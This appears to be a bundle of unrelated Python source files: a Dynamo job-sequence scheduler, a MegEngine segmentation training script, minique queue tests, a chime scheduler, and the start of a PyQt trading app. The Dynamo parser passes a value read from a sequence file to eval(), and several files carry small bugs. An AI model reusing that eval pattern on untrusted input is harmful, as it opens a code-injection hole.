return True, {'result': 'noaction', 'detail': 'Task already completed with status %s (exit code %s).' % \
(AppManager.status_name(app['status']), app['exit_code'])}
def _get_app(self, app_id):
apps = self.dynamo_server.manager.master.get_applications(app_id = app_id)
if len(apps) == 0:
return None
else:
return apps[0]
def _schedule_app(self, app_data):
"""
Call schedule_application on the master server. If mode == 'synch', create a communication
queue and register it under synch_app_queues. The server should then wait on this queue
before starting the application.
"""
app_data = dict(app_data)
# schedule the app on master
if 'exec_path' in app_data:
try:
shutil.copyfile(app_data['exec_path'], app_data['path'] + '/exec.py')
except Exception as exc:
return False, 'Could not copy executable %s to %s (%s)' % (app_data['exec_path'], app_data['path'], str(exc))
app_data.pop('exec_path')
elif 'exec' in app_data:
with open(app_data['path'] + '/exec.py', 'w') as out:
out.write(app_data['exec'])
app_data.pop('exec')
mode = app_data.pop('mode')
with self.notify_lock:
keys = set(app_data.keys())
args = set(['title', 'path', 'args', 'user_id', 'host', 'auth_level', 'timeout'])
if len(keys - args) != 0:
return False, 'Extra parameter(s): %s' % (str(list(keys - args)))
if len(args - keys) != 0:
return False, 'Missing parameter(s): %s' % (str(list(args - keys)))
app_id = self.dynamo_server.manager.master.schedule_application(**app_data)
if mode == 'synch':
self.synch_app_queues[app_id] = Queue.Queue()
if mode == 'synch':
msg = self.wait_synch_app_queue(app_id)
if msg['status'] != AppManager.STAT_RUN:
# this app is not going to run
return False, 'Application status: %s.' % AppManager.status_name(msg['status'])
return True, {'appid': app_id, 'path': msg['path'], 'pid': msg['pid']} # msg['path'] should be == app_data['path']
else:
return True, {'appid': app_id, 'path': app_data['path']}
def _add_sequences(self, path, user):
"""
Parse a sequence definition file and create an sqlite3 database for each sequence.
@param path Name of the file containing one or more sequence definitions.
@param user Name of the user requesting to run the sequence
"""
LOG.info('Parsing sequence definition %s', path)
try:
sequences, sequences_with_restart, app_paths = self._parse_sequence_def(path, user)
except Exception as ex:
return False, str(ex)
for name, sequence in sequences.items():
existing = self.dynamo_server.manager.master.find_sequence(name)
if existing is not None:
_, reg_user, _, _ = existing
if reg_user != user:
return False, 'Sequence %s is already created for user %s.' % (name, reg_user)
success, msg = self._delete_sequence(name, user)
if not success:
return False, msg
work_dir = self.scheduler_base + '/' + name
if os.path.exists(work_dir):
try:
shutil.rmtree(work_dir)
except Exception as ex:
return False, 'Cannot delete existing directory %s (%s).' % (work_dir, str(ex))
try:
os.makedirs(work_dir)
with open(work_dir + '/log.out', 'w'):
pass
with open(work_dir + '/log.err', 'w'):
pass
except Exception as ex:
try:
shutil.rmtree(work_dir)
except:
pass
return False, 'Failed to set up %s (%s).' % (name, str(ex))
for action in sequence:
if action[0] == AppServer.EXECUTE:
title = action[1]
path = '%s/%s' % (work_dir, title)
if os.path.exists(path):
# This application is used multiple times in the sequence
continue
app_path = app_paths[title]
os.makedirs(path)
shutil.copy(app_path, path + '/exec.py')
# Make symlinks from subdir/_std(out|err) to log.(out|err)
os.symlink(work_dir + '/log.out', path + '/_stdout')
os.symlink(work_dir + '/log.err', path + '/_stderr')
db = sqlite3.connect(work_dir + '/sequence.db')
cursor = db.cursor()
sql = 'CREATE TABLE `sequence` ('
sql += '`id` INTEGER PRIMARY KEY,'
sql += '`line` INTEGER NOT NULL,'
sql += '`command` TINYINT NOT NULL,'
sql += '`title` TEXT DEFAULT NULL,'
sql += '`arguments` TEXT DEFAULT NULL,'
sql += '`timeout` INTEGER DEFAULT NULL,'
sql += '`criticality` TINYINT DEFAULT NULL,'
sql += '`auth_level` SMALLINT DEFAULT NULL,'
sql += '`app_id` INTEGER DEFAULT NULL'
sql += ')'
db.execute(sql)
for iline, action in enumerate(sequence):
if action[0] == AppServer.EXECUTE:
sql = 'INSERT INTO `sequence` (`line`, `command`, `title`, `arguments`, `timeout`, `criticality`, `auth_level`)'
sql += ' VALUES (?, ?, ?, ?, ?, ?, ?)'
cursor.execute(sql, (iline,) + action)
elif action[0] == AppServer.WAIT:
sql = 'INSERT INTO `sequence` (`line`, `command`, `title`, `arguments`)'
sql += ' VALUES (?, ?, ?, ?)'
cursor.execute(sql, (iline, action[0], str(action[1]), str(int(time.time()) + action[1])))
elif action[0] == AppServer.TERMINATE:
sql = 'INSERT INTO `sequence` (`line`, `command`)'
sql += ' VALUES (?, ?)'
cursor.execute(sql, (iline, action[0]))
db.commit()
db.close()
restart = (name in sequences_with_restart)
self.dynamo_server.manager.master.register_sequence(name, user, restart = restart)
LOG.info('Added sequence(s) %s', ' '.join(sorted(sequences.keys())))
return True, {'sequence': sorted(sequences.keys())}
def _get_sequence(self, name, user):
sequence = self.dynamo_server.manager.master.find_sequence(name)
if sequence is None:
raise Exception('Sequence %s does not exist.' % name)
name, reg_user, restart, enabled = sequence
if reg_user != user:
raise Exception('Sequence %s is not registered for user %s.' % (name, user))
return sequence
def _delete_sequence(self, name, user):
try:
_, _, _, enabled = self._get_sequence(name, user)
except Exception as ex:
return False, str(ex)
if enabled:
success, msg = self._do_stop_sequence(name)
if not success:
return False, msg
if not self.dynamo_server.manager.master.delete_sequence(name):
return False, 'Failed to delete sequence %s.' % name
if os.path.exists(self.scheduler_base + '/' + name):
try:
shutil.rmtree(self.scheduler_base + '/' + name)
except Exception as ex:
return False, 'Failed to delete sequence %s (%s).' % (name, str(ex))
return True, ''
def _start_sequence(self, name, user):
try:
_, _, _, enabled = self._get_sequence(name, user)
except Exception as ex:
return False, str(ex)
if enabled:
return True, ''
LOG.info('[Scheduler] Starting sequence %s.', name)
return self._do_start_sequence(name)
def _start_all_sequences(self):
started = []
for sequence_name in self.dynamo_server.manager.master.get_sequences(enabled_only = False):
LOG.info('[Scheduler] Starting sequence %s.', sequence_name)
success, msg = self._do_start_sequence(sequence_name)
if success:
started.append(sequence_name)
LOG.info('[Scheduler] Started sequences %s.', ' '.join(started))
return True, {'sequences': started}
def _stop_sequence(self, name, user):
try:
_, _, _, enabled = self._get_sequence(name, user)
except Exception as ex:
return False, str(ex)
if not enabled:
return True, ''
LOG.info('[Scheduler] Stopping sequence %s.', name)
return self._do_stop_sequence(name)
def _stop_all_sequences(self):
stopped = []
for sequence_name in self.dynamo_server.manager.master.get_sequences(enabled_only = True):
LOG.info('[Scheduler] Stopping sequence %s.', sequence_name)
success, msg = self._do_stop_sequence(sequence_name)
if success:
stopped.append(sequence_name)
LOG.info('[Scheduler] Stopped sequences %s.', ' '.join(stopped))
return True, {'sequences': stopped}
def _do_start_sequence(self, name):
_, _, restart, enabled = self.dynamo_server.manager.master.find_sequence(name)
if enabled:
return True, ''
if restart:
self._shift_sequence_to(name, 0)
if not self.dynamo_server.manager.master.update_sequence(name, enabled = True):
return False, 'Failed to start sequence %s.' % name
return True, ''
def _do_stop_sequence(self, name):
if not self.dynamo_server.manager.master.update_sequence(name, enabled = False):
return False, 'Failed to stop sequence %s.' % name
# kill all running applications
try:
db = sqlite3.connect(self.scheduler_base + '/' + name + '/sequence.db')
cursor = db.cursor()
cursor.execute('SELECT `app_id` FROM `sequence` WHERE `app_id` IS NOT NULL')
for row in cursor.fetchall():
app = self._get_app(row[0])
if app is not None and app['status'] not in (AppManager.STAT_DONE, AppManager.STAT_FAILED, AppManager.STAT_KILLED):
self.dynamo_server.manager.master.update_application(row[0], status = AppManager.STAT_KILLED)
except Exception as ex:
return False, 'Failed to stop sequence %s (%s).' % (name, str(ex))
return True, ''
def _scheduler(self):
"""
A function to be run as a thread. Rotates through the scheduler sequence directories and execute whatever is up next.
Perhaps we want an independent logger for this thread
"""
for sequence_name in self.dynamo_server.manager.master.get_sequences(enabled_only = True):
_, _, restart, _ = self.dynamo_server.manager.master.find_sequence(sequence_name)
if restart:
self._shift_sequence_to(sequence_name, 0)
LOG.info('[Scheduler] Starting sequence %s from line 0.', sequence_name)
else:
LOG.info('[Scheduler] Starting sequence %s.', sequence_name)
while True:
if self._stop_flag.is_set():
break
for sequence_name in self.dynamo_server.manager.master.get_sequences(enabled_only = True):
if self._stop_flag.is_set():
break
work_dir = self.scheduler_base + '/' + sequence_name
db = sqlite3.connect(work_dir + '/sequence.db')
cursor = db.cursor()
try:
cursor.execute('SELECT `line`, `command`, `title`, `arguments`, `criticality`, `app_id` FROM `sequence` ORDER BY `id` LIMIT 1')
row = cursor.fetchone()
if row is None:
raise RuntimeError('Sequence is empty')
except Exception as ex:
LOG.error('[Scheduler] Failed to fetch the current command for sequence %s (%s).', sequence_name, str(ex))
continue
db.close()
iline, command, title, arguments, criticality, app_id = row
if command == AppServer.EXECUTE:
if app_id is None:
self._schedule_from_sequence(sequence_name, iline)
continue
# poll the app_id
app = self._get_app(app_id)
if app is None:
LOG.error('[Scheduler] Application %s in sequence %s disappeared.', title, sequence_name)
self._schedule_from_sequence(sequence_name, iline)
continue
if app['status'] in (AppManager.STAT_NEW, AppManager.STAT_ASSIGNED, AppManager.STAT_RUN):
continue
else:
try:
with open(work_dir + '/log.out', 'a') as out:
out.write('\n')
except:
pass
try:
with open(work_dir + '/log.err', 'a') as out:
out.write('\n')
except:
pass
if app['status'] == AppManager.STAT_DONE:
LOG.info('[Scheduler] Application %s in sequence %s completed.', title, sequence_name)
self._schedule_from_sequence(sequence_name, iline + 1)
else:
LOG.warning('[Scheduler] Application %s in sequence %s terminated with status %s.', title, sequence_name, AppManager.status_name(app['status']))
if criticality == AppServer.PASS:
self._schedule_from_sequence(sequence_name, iline + 1)
else:
self._send_failure_notice(sequence_name, app)
if criticality == AppServer.REPEAT_SEQ:
LOG.warning('[Scheduler] Restarting sequence %s.', sequence_name)
self._schedule_from_sequence(sequence_name, 0)
elif criticality == AppServer.REPEAT_LINE:
LOG.warning('[Scheduler] Restarting application %s of sequence %s.', title, sequence_name)
self._schedule_from_sequence(sequence_name, iline)
elif command == AppServer.WAIT:
# title is the number of seconds expressed in a decimal string
# arguments is set to the unix timestamp (string) until when the sequence should wait
wait_until = int(arguments)
if time.time() < wait_until:
continue
else:
self._schedule_from_sequence(sequence_name, iline + 1)
# all sequences processed; now sleep for 10 seconds
self._stop_flag.wait(10)
def _schedule_from_sequence(self, sequence_name, iline):
work_dir = self.scheduler_base + '/' + sequence_name
db = None
try:
row = self._shift_sequence_to(sequence_name, iline)
if row is None:
LOG.error('[Scheduler] Could not find line %d in sequence %s', iline, sequence_name)
self._do_stop_sequence(sequence_name)
return
sid, iline, command, title, arguments, timeout, criticality, auth_level = row
db = sqlite3.connect(work_dir + '/sequence.db')
cursor = db.cursor()
if command == AppServer.EXECUTE:
timestamp = time.strftime('%Y-%m-%d %H:%M:%S')
with open(work_dir + '/log.out', 'a') as out:
out.write('++++ %s: %s\n' % (timestamp, title))
out.write('%s/%s %s (timeout %sh)\n\n' % (work_dir, title, arguments, timeout))
with open(work_dir + '/log.err', 'a') as out:
out.write('++++ %s: %s\n' % (timestamp, title))
out.write('%s/%s %s (timeout %sh)\n\n' % (work_dir, title, arguments, timeout))
app_id = self.dynamo_server.manager.master.schedule_application(title, work_dir + '/' + title, arguments, self.scheduler_user_id, socket.gethostname(), auth_level, timeout)
cursor.execute('UPDATE `sequence` SET `app_id` = ? WHERE `id` = ?', (app_id, sid))
LOG.info('[Scheduler] Scheduled %s/%s %s (AID %s).', sequence_name, title, arguments, app_id)
elif command == AppServer.WAIT:
time_wait = int(title)
cursor.execute('UPDATE `sequence` SET `arguments` = ? WHERE `id` = ?', (str(int(time.time()) + time_wait), sid))
elif command == AppServer.TERMINATE:
self._do_stop_sequence(sequence_name)
except:
exc_type, exc, _ = sys.exc_info()
LOG.error('[Scheduler] Failed to schedule line %d of sequence %s (%s: %s).', iline, sequence_name, exc_type.__name__, str(exc))
finally:
if db is not None:
try:
db.commit()
db.close()
except:
pass
def _parse_sequence_def(self, path, user):
app_paths = {} # {title: exec path}
writer_applications = set() # set of titles
sequences = {} # {name: sequence}
sequences_with_restart = []
sequence = None
with open(path) as source:
iline = -1
for line in source:
iline += 1
line = line.strip()
if not line or line.startswith('#'):
continue
LOG.debug(line)
# Application definitions
# {title} = path ... This application cannot write
# <title> = path ... This application can be used to write
matches = re.match('({\S+}|<\S+>)\s*=\s*(\S+)', line)
if matches:
enclosed_title = matches.group(1)
title = enclosed_title[1:-1]
write_enabled = (enclosed_title[0] == '<')
application = matches.group(2)
# Replace environment variables
matches = re.findall('\$\(([^\)]+)\)', application)
for match in matches:
application = application.replace('$(%s)' % match, os.environ[match])
with open(application) as source:
checksum = hashlib.md5(source.read()).hexdigest()
if write_enabled and not self.dynamo_server.manager.master.check_application_auth(title, user, checksum):
raise Exception('Application %s (%s) is not authorized for server write operation (line %d).' % (title, application, iline))
LOG.debug('Define application %s = %s (write enabled: %d) (line %d)', title, application, write_enabled, iline)
app_paths[title] = application
if write_enabled:
writer_applications.add(title)
continue
# Sequence definitions
# [SEQUENCE title]
matches = re.match('\[SEQUENCE\s(\S+)\](\s+restart|)', line)
if matches:
# Sequence header
LOG.debug('New sequence %s (line %d)', matches.group(1), iline)
sequence = sequences[matches.group(1)] = []
if matches.group(2).strip() == 'restart':
sequences_with_restart.append(matches.group(1))
continue
# If the line is not an application or sequence definition, there needs to be an open sequence
if sequence is None:
raise Exception('Invalid line "%s" before sequence definition is given.' % line)
# Sequence application step definitions
# {title} options ... Elevated privilege (but no inventory write) execution
# <title> options ... Write-request execution
matches = re.match('(\^|\&|\|)(|\[[0-9]+\]) +({\S+}|<\S+>)\s*(.*)', line)
if matches:
if matches.group(1) == '^':
criticality = AppServer.REPEAT_SEQ
elif matches.group(1) == '&':
criticality = AppServer.REPEAT_LINE
else:
criticality = AppServer.PASS
enclosed_timeout = matches.group(2)
if enclosed_timeout:
timeout = int(enclosed_timeout[1:-1])
else:
timeout = 0
enclosed_title = matches.group(3)
title = enclosed_title[1:-1]
write_request = (enclosed_title[0] == '<')
arguments = matches.group(4)
if write_request:
if title not in writer_applications:
raise Exception('Application %s is not write-enabled (line %d).' % iline)
auth_level = AppManager.LV_WRITE
else:
auth_level = AppManager.LV_AUTH
# Replace environment variables
matches = re.findall('\$\(([^\)]+)\)', arguments)
for match in matches:
arguments = arguments.replace('$(%s)' % match, os.environ[match])
LOG.debug('Execute %s %s (line %d)', title, arguments, iline)
sequence.append((AppServer.EXECUTE, title, arguments, timeout, criticality, auth_level))
continue
matches = re.match('WAIT\s+(.*)', line)
if matches:
try:
sleep_time = eval(matches.group(1))
if type(sleep_time) not in [int, float]:
raise RuntimeError()
except:
raise Exception('Wait time %s is not a numerical expression (line %d).' % (matches.group(1), iline))
LOG.debug('Wait for %d seconds (line %d)', sleep_time, iline)
sequence.append((AppServer.WAIT, sleep_time))
continue
if line == 'TERMINATE':
sequence.append((AppServer.TERMINATE,))
return sequences, sequences_with_restart, app_paths
def _shift_sequence_to(self, sequence_name, iline):
work_dir = self.scheduler_base + '/' + sequence_name
db = None
try:
db = sqlite3.connect(work_dir + '/sequence.db')
cursor = db.cursor()
cursor.execute('SELECT COUNT(*) FROM `sequence` WHERE `command` = ?', (AppServer.TERMINATE,))
terminates = (cursor.fetchone()[0] != 0)
cursor.execute('SELECT MAX(`line`) FROM `sequence`')
max_line = cursor.fetchone()[0]
if max_line is None:
# the table has no entries!
raise RuntimeError('Sequence database has zero rows.')
iline %= (max_line + 1)
looped_once = False
while True:
cursor.execute('SELECT `id`, `line`, `command`, `title`, `arguments`, `timeout`, `criticality`, `auth_level` FROM `sequence` ORDER BY `id`')
for row in cursor.fetchall():
if row[1] == iline:
return row
cursor.execute('DELETE FROM `sequence` WHERE `id` = ?', (row[0],))
if not terminates:
# this sequence is an infinite loop; move the entry to the bottom
cursor.execute('INSERT INTO `sequence` (`line`, `command`, `title`, `arguments`, `timeout`, `criticality`, `auth_level`) VALUES (?, ?, ?, ?, ?, ?, ?)', row[1:])
db.commit()
if looped_once:
return None
# we may be shifting to the row inserted just now
looped_once = True
except Exception as ex:
LOG.error('[Scheduler] Failed to shift sequence %s to line %d (%s: %s).', sequence_name, iline, type(ex).__name__, ex.message)
finally:
if db is not None:
try:
db.commit()
db.close()
except:
pass
def _send_failure_notice(self, sequence_name, app):
if not self.dynamo_server.notification_recipient:
return
try:
text = 'Message from dynamo-scheduled@%s:\n' % socket.gethostname()
text += 'Application %s of sequence %s failed.\n' % (app['title'], sequence_name)
text += 'Details:\n'
for key in sorted(app.keys()):
text += ' %s = %s\n' % (key, app[key])
msg = MIMEText(text)
msg['Subject'] = '[Dynamo Scheduler] %s/%s failed' % (sequence_name, app['title'])
msg['From'] = 'dynamo@' + socket.gethostname()
msg['To'] = self.dynamo_server.notification_recipient
mailserv = smtplib.SMTP('localhost')
mailserv.sendmail(msg['From'], [msg['To']], msg.as_string())
mailserv.quit()
except:
LOG.error('Failed to send a failure notice.')
|
train.py | # -*- coding: utf-8 -*-
# MegEngine is Licensed under the Apache License, Version 2.0 (the "License")
#
# Copyright (c) 2014-2020 Megvii Inc. All rights reserved.
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT ARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
import argparse
import multiprocessing as mp
import os
import megengine as mge
import megengine.data as data
import megengine.data.dataset as dataset
import megengine.data.transform as T
import megengine.distributed as dist
import megengine.jit as jit
import megengine.optimizer as optim
import numpy as np
from official.vision.segmentation.deeplabv3plus import (
DeepLabV3Plus,
softmax_cross_entropy,
)
logger = mge.get_logger(__name__)
class Config:
ROOT_DIR = os.path.abspath(os.path.join(os.path.dirname("__file__")))
MODEL_SAVE_DIR = os.path.join(ROOT_DIR, "log")
LOG_DIR = MODEL_SAVE_DIR
if not os.path.isdir(MODEL_SAVE_DIR):
os.makedirs(MODEL_SAVE_DIR)
DATA_WORKERS = 4
DATA_TYPE = "trainaug"
IGNORE_INDEX = 255
NUM_CLASSES = 21
IMG_SIZE = 512
IMG_MEAN = [103.530, 116.280, 123.675]
IMG_STD = [57.375, 57.120, 58.395]
cfg = Config()
def main():
parser = argparse.ArgumentParser()
parser.add_argument(
"-d", "--dataset_dir", type=str, default="/data/datasets/VOC2012",
)
parser.add_argument(
"-w", "--weight_file", type=str, default=None, help="pre-train weights file",
)
parser.add_argument(
"-n", "--ngpus", type=int, default=8, help="batchsize for training"
)
parser.add_argument(
"-b", "--batch_size", type=int, default=8, help="batchsize for training"
)
parser.add_argument(
"-lr",
"--base_lr",
type=float,
default=0.002,
help="base learning rate for training",
)
parser.add_argument(
"-e", "--train_epochs", type=int, default=100, help="epochs for training"
)
parser.add_argument(
"-r", "--resume", type=str, default=None, help="resume model file"
)
args = parser.parse_args()
world_size = args.ngpus
logger.info("Device Count = %d", world_size)
if world_size > 1:
mp.set_start_method("spawn")
processes = []
for rank in range(world_size):
p = mp.Process(target=worker, args=(rank, world_size, args))
p.start()
processes.append(p)
for p in processes:
p.join()
else:
worker(0, 1, args)
def worker(rank, world_size, args):
if world_size > 1:
dist.init_process_group(
master_ip="localhost",
master_port=23456,
world_size=world_size,
rank=rank,
dev=rank,
)
logger.info("Init process group done")
logger.info("Prepare dataset")
train_loader, epoch_size = build_dataloader(args.batch_size, args.dataset_dir)
batch_iter = epoch_size // (args.batch_size * world_size)
net = DeepLabV3Plus(class_num=cfg.NUM_CLASSES, pretrained=args.weight_file)
base_lr = args.base_lr * world_size
optimizer = optim.SGD(
net.parameters(requires_grad=True),
lr=base_lr,
momentum=0.9,
weight_decay=0.00004,
)
@jit.trace(symbolic=True, opt_level=2)
def train_func(data, label, net=None, optimizer=None):
net.train()
pred = net(data)
loss = softmax_cross_entropy(pred, label, ignore_index=cfg.IGNORE_INDEX)
optimizer.backward(loss)
return pred, loss
begin_epoch = 0
end_epoch = args.train_epochs
if args.resume is not None:
pretrained = mge.load(args.resume)
begin_epoch = pretrained["epoch"] + 1
net.load_state_dict(pretrained["state_dict"])
logger.info("load success: epoch %d", begin_epoch)
itr = begin_epoch * batch_iter
max_itr = end_epoch * batch_iter
image = mge.tensor(
np.zeros([args.batch_size, 3, cfg.IMG_SIZE, cfg.IMG_SIZE]).astype(np.float32),
dtype="float32",
)
label = mge.tensor(
np.zeros([args.batch_size, cfg.IMG_SIZE, cfg.IMG_SIZE]).astype(np.int32),
dtype="int32",
)
exp_name = os.path.abspath(os.path.dirname(__file__)).split("/")[-1]
for epoch in range(begin_epoch, end_epoch):
for i_batch, sample_batched in enumerate(train_loader):
def adjust_lr(optimizer, itr, max_itr):
now_lr = base_lr * (1 - itr / (max_itr + 1)) ** 0.9
for param_group in optimizer.param_groups:
param_group["lr"] = now_lr
return now_lr
now_lr = adjust_lr(optimizer, itr, max_itr)
inputs_batched, labels_batched = sample_batched
labels_batched = np.squeeze(labels_batched, axis=1).astype(np.int32)
image.set_value(inputs_batched)
label.set_value(labels_batched)
optimizer.zero_grad()
_, loss = train_func(image, label, net=net, optimizer=optimizer)
optimizer.step()
running_loss = loss.numpy()[0]
if rank == 0:
logger.info(
"%s epoch:%d/%d\tbatch:%d/%d\titr:%d\tlr:%g\tloss:%g",
exp_name,
epoch,
end_epoch,
i_batch,
batch_iter,
itr + 1,
now_lr,
running_loss,
)
itr += 1
if rank == 0:
save_path = os.path.join(cfg.MODEL_SAVE_DIR, "epoch%d.pkl" % (epoch))
mge.save({"epoch": epoch, "state_dict": net.state_dict()}, save_path)
logger.info("save epoch%d", epoch)
def build_dataloader(batch_size, dataset_dir):
train_dataset = dataset.PascalVOC(
dataset_dir, cfg.DATA_TYPE, order=["image", "mask"]
)
train_sampler = data.RandomSampler(train_dataset, batch_size, drop_last=True)
train_dataloader = data.DataLoader(
train_dataset,
sampler=train_sampler,
transform=T.Compose(
transforms=[
T.RandomHorizontalFlip(0.5),
T.RandomResize(scale_range=(0.5, 2)),
T.RandomCrop(
output_size=(cfg.IMG_SIZE, cfg.IMG_SIZE),
padding_value=[0, 0, 0],
padding_maskvalue=255,
),
T.Normalize(mean=cfg.IMG_MEAN, std=cfg.IMG_STD),
T.ToMode(),
],
order=["image", "mask"],
),
num_workers=0,
)
return train_dataloader, train_dataset.__len__()
if __name__ == "__main__":
main()
|
test_minique.py | import threading
import pytest
from redis.client import Redis
from minique.api import cancel_job, enqueue, get_job
from minique.enums import JobStatus
from minique.models.queue import Queue
from minique.testing import run_synchronously
from minique_tests.jobs import (
reverse_job_id,
job_with_a_message,
message_test_outbox,
message_test_inbox,
)
from minique_tests.worker import TestWorker
@pytest.mark.parametrize("success", (False, True))
def test_basics(redis: Redis, success: bool, random_queue_name: str) -> None:
kwargs = {"a": 10, "b": (15 if success else 0)}
job = enqueue(
redis, random_queue_name, "minique_tests.jobs.sum_positive_values", kwargs
)
assert not job.has_finished
assert job.kwargs == kwargs
worker = TestWorker.for_queue_names(redis, [random_queue_name])
r_job = worker.tick()
assert job == r_job # we executed that particular job, right?
for job in (job, get_job(redis, job.id)):
assert job.encoding_name == "json"
assert job.has_finished
assert job.acquisition_info["worker"] == worker.id
assert job.duration > 0
if success:
assert job.status == JobStatus.SUCCESS
assert job.result == 25
else:
assert job.status == JobStatus.FAILED
def test_worker_empty_queue(redis: Redis, random_queue_name: str) -> None:
worker = TestWorker.for_queue_names(redis, random_queue_name)
assert not worker.tick()
def test_job_object_access(redis: Redis, random_queue_name: str) -> None:
job = enqueue(redis, random_queue_name, reverse_job_id)
run_synchronously(job)
assert job.result == job.id[::-1]
def test_job_message(redis: Redis, random_queue_name: str) -> None:
job = enqueue(redis, random_queue_name, job_with_a_message)
worker_thread = threading.Thread(target=run_synchronously, args=(job,))
worker_thread.start()
def check_mailbox(expected_message):
nonce = message_test_outbox.get()
assert job.meta == expected_message
message_test_inbox.put(nonce)
check_mailbox("oh, hello")
check_mailbox({"message": "progress occurs", "status": [1, 2, 3]})
worker_thread.join()
assert job.result == 42
def test_cancel(redis: Redis, random_queue_name: str) -> None:
job = enqueue(redis, random_queue_name, "minique_tests.jobs.sum_positive_values")
assert Queue(redis, random_queue_name).length == 1
cancel_job(redis, job.id)
assert (
Queue(redis, random_queue_name).length == 0
) # Canceling does remove the job from the queue
TestWorker.for_queue_names(redis, random_queue_name).tick()
def test_ensure_enqueued(redis: Redis, random_queue_name: str) -> None:
j1 = enqueue(redis, random_queue_name, "minique_tests.jobs.sum_positive_values")
j2 = enqueue(redis, random_queue_name, "minique_tests.jobs.sum_positive_values")
queue = j1.get_queue()
assert queue.length == 2
assert j1.ensure_enqueued() == (False, 0) # Did not need to re-enqueue
assert j2.ensure_enqueued() == (False, 1) # Did not need to re-enqueue
assert (
redis.lpop(queue.redis_key) == j1.id.encode()
) # pop first item, must be the first job
assert queue.length == 1
assert j1.ensure_enqueued() == (True, 1) # Did re-enqueue in last position
assert j2.ensure_enqueued() == (False, 0) # Did not need to re-enqueue
TestWorker.for_queue_names(redis, queue.name).tick()
assert queue.length == 1
TestWorker.for_queue_names(redis, queue.name).tick()
assert queue.length == 0
for job in (j1, j2):
with pytest.raises(Exception): # Refuses to be enqueued after completion
job.ensure_enqueued()
|
scheduler.py | import json
import logging
import logging.config
import logging.handlers
import os
import pytz
import requests
import signal
import sys
import zmq
from datetime import date, datetime, time, timedelta
from pytz import timezone
from threading import Thread
from tornado.tcpserver import TCPServer
from zmq.eventloop.ioloop import IOLoop, PeriodicCallback
from zmq.eventloop.zmqstream import ZMQStream
from zenchimes.client import LMSCommandLineInterface
from zenchimes.utilities import logged_class, sockethandler, LogServer
from zenchimes import settings
@logged_class
class ChimeScheduler(object):
"""Initialize chime events based on configuration. Spawn a chime player
when the chime event is due."""
fmt = '%H:%M:%S'
is_closing = False
loop = None
def __init__(self, config=None, *args, **kwargs):
"""Initialize chime scheduler."""
# SIGINT to stop
# SIGUSR1 to reread configuration and re-initialize schedule.
signal.signal(signal.SIGINT, self.handler_signal)
signal.signal(signal.SIGUSR1, self.handler_signal)
self.loop = IOLoop.instance()
self.config = config
self.configure()
def configure(self):
"""Read configuration from web server API. Initialize."""
self.logger.info("Reading configuration.")
config = self.config
req = requests.get(
'http://localhost:{}/config'.format(
settings.SERVER_HTTP_LISTEN_PORT))
config = json.loads(req.text)
self.TIMEZONE = config['scheduler']['timezone']
self.STARTTIME = config['scheduler']['starttime']
self.ENDTIME = config['scheduler']['endtime']
self.CHIME_INTERVAL = int(config['scheduler']['chime_interval'])
self.EVENT_POLL_INTERVAL = int(
config['scheduler']['event_poll_interval'])
self.LOGGING_LEVEL = config['zenchimes']['logging_level']
self.logger.setLevel(self.LOGGING_LEVEL)
os.environ['TZ'] = self.TIMEZONE
s = datetime.strptime(self.STARTTIME, self.fmt)
e = datetime.strptime(self.ENDTIME, self.fmt)
diff = e - s
self.event_count = int(diff.total_seconds() / self.CHIME_INTERVAL)
self.current_event = 0
self.events = []
for i in range(self.event_count + 1):
next_event = \
s + timedelta(seconds=self.CHIME_INTERVAL * i)
self.events.append(next_event.time())
self.startx = time(s.hour, s.minute, s.second)
self.endx = time(e.hour, e.minute, e.second)
self.advance_counter()
def current_time(self):
"""Returns current time."""
t = datetime.now()
self.logger.debug(
"current_time: {0}".format(time(t.hour, t.minute, t.second)))
return time(t.hour, t.minute, t.second)
def is_event(self):
"""Check to see if current time corresponds with an event. Returns
boolean status."""
current_time = self.current_time()
current_event_time = self.events[self.current_event]
cet = current_event_time
current_event_time = time(cet.hour, cet.minute, cet.second)
self.logger.debug("current_event_time: {0}".format(current_event_time))
fudge_factor = (datetime.combine(date(1,1,1),
current_event_time) + timedelta(seconds=60)).time()
self.logger.debug("fudge_factor: {0}".format(fudge_factor))
status = current_event_time <= current_time <= fudge_factor
return status
def advance_counter(self):
"""Advance event counter to current event. Call this one time only from
__init__()."""
current_time = self.current_time()
fudge_factor = (datetime.combine(date(1,1,1),
current_time) + timedelta(seconds=60)).time()
if current_time > fudge_factor:
# Leave self.current_event == 0. No counter advance.
return
for i in range(self.event_count):
event = self.events[i]
if event < current_time:
self.current_event += 1
else:
break
def handle_ctrl_msg(self, event):
msg = event[0]
self.logger.info("Received control message {}".format(msg))
if msg == 'CONFIG':
self.configure()
def stop(self):
if self.is_closing:
# TODO: Log a message
self.loop.stop()
def handler_signal(self, signum, frame):
"""Handle signals."""
if signum == signal.SIGINT:
loop = self.loop
loop.add_callback_from_signal(self.stop)
self.is_closing = True
elif signum == signal.SIGUSR1:
# TODO: Log a message.
self.configure()
def start(self):
"""Initialize and start the event loop. Listen for ZMQ control
messages."""
ctx = zmq.Context()
socket = ctx.socket(zmq.PAIR)
socket.bind("tcp://*:{}".format(settings.ZMQ_CONTROL_PORT))
logserver = LogServer()
logserver.listen(settings.TCP_LOGGING_PORT)
loop = self.loop
stream = ZMQStream(socket, loop)
stream.on_recv(self.handle_ctrl_msg)
# TODO: Stop loop and restart on CONFIG reread just to get possible new
# EVENT_POLL_INTERVAL setting?
pc = PeriodicCallback(self.chime, self.EVENT_POLL_INTERVAL * 1E3, loop)
pc.start()
loop.start()
def chime(self):
"""Check for chime event. Handle if necessary."""
is_event = self.is_event()
self.logger.debug("is_event: {0}".format(is_event))
if is_event:
self.logger.debug("Initializing LMSCommandLineInterface.")
sbcli = LMSCommandLineInterface()
# LMSCommandLineInterface sets error on initialization failure.
if sbcli.error:
self.logger.error(
"Unable to initialize LMSCommandLineInterface")
else:
self.logger.debug(
"sending play command for event {0}".format(
self.current_event))
thread = Thread(target=sbcli.play_chime())
if self.current_event == self.event_count:
# Last event of the day, rewind.
self.current_event = 0
else:
self.current_event += 1
if __name__ == '__main__':
logging.config.dictConfig(settings.LOGGING_CONFIG)
scheduler = ChimeScheduler()
scheduler.start()
|
main.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sun Feb 23 22:39:27 2020
@author: abdulroqeeb
"""
import sys
import os
from PyQt5 import QtWidgets, QtCore, uic, QtWebEngineWidgets
from base import TraderPro
import threading
import datetime
from tproconfig import host, port, states
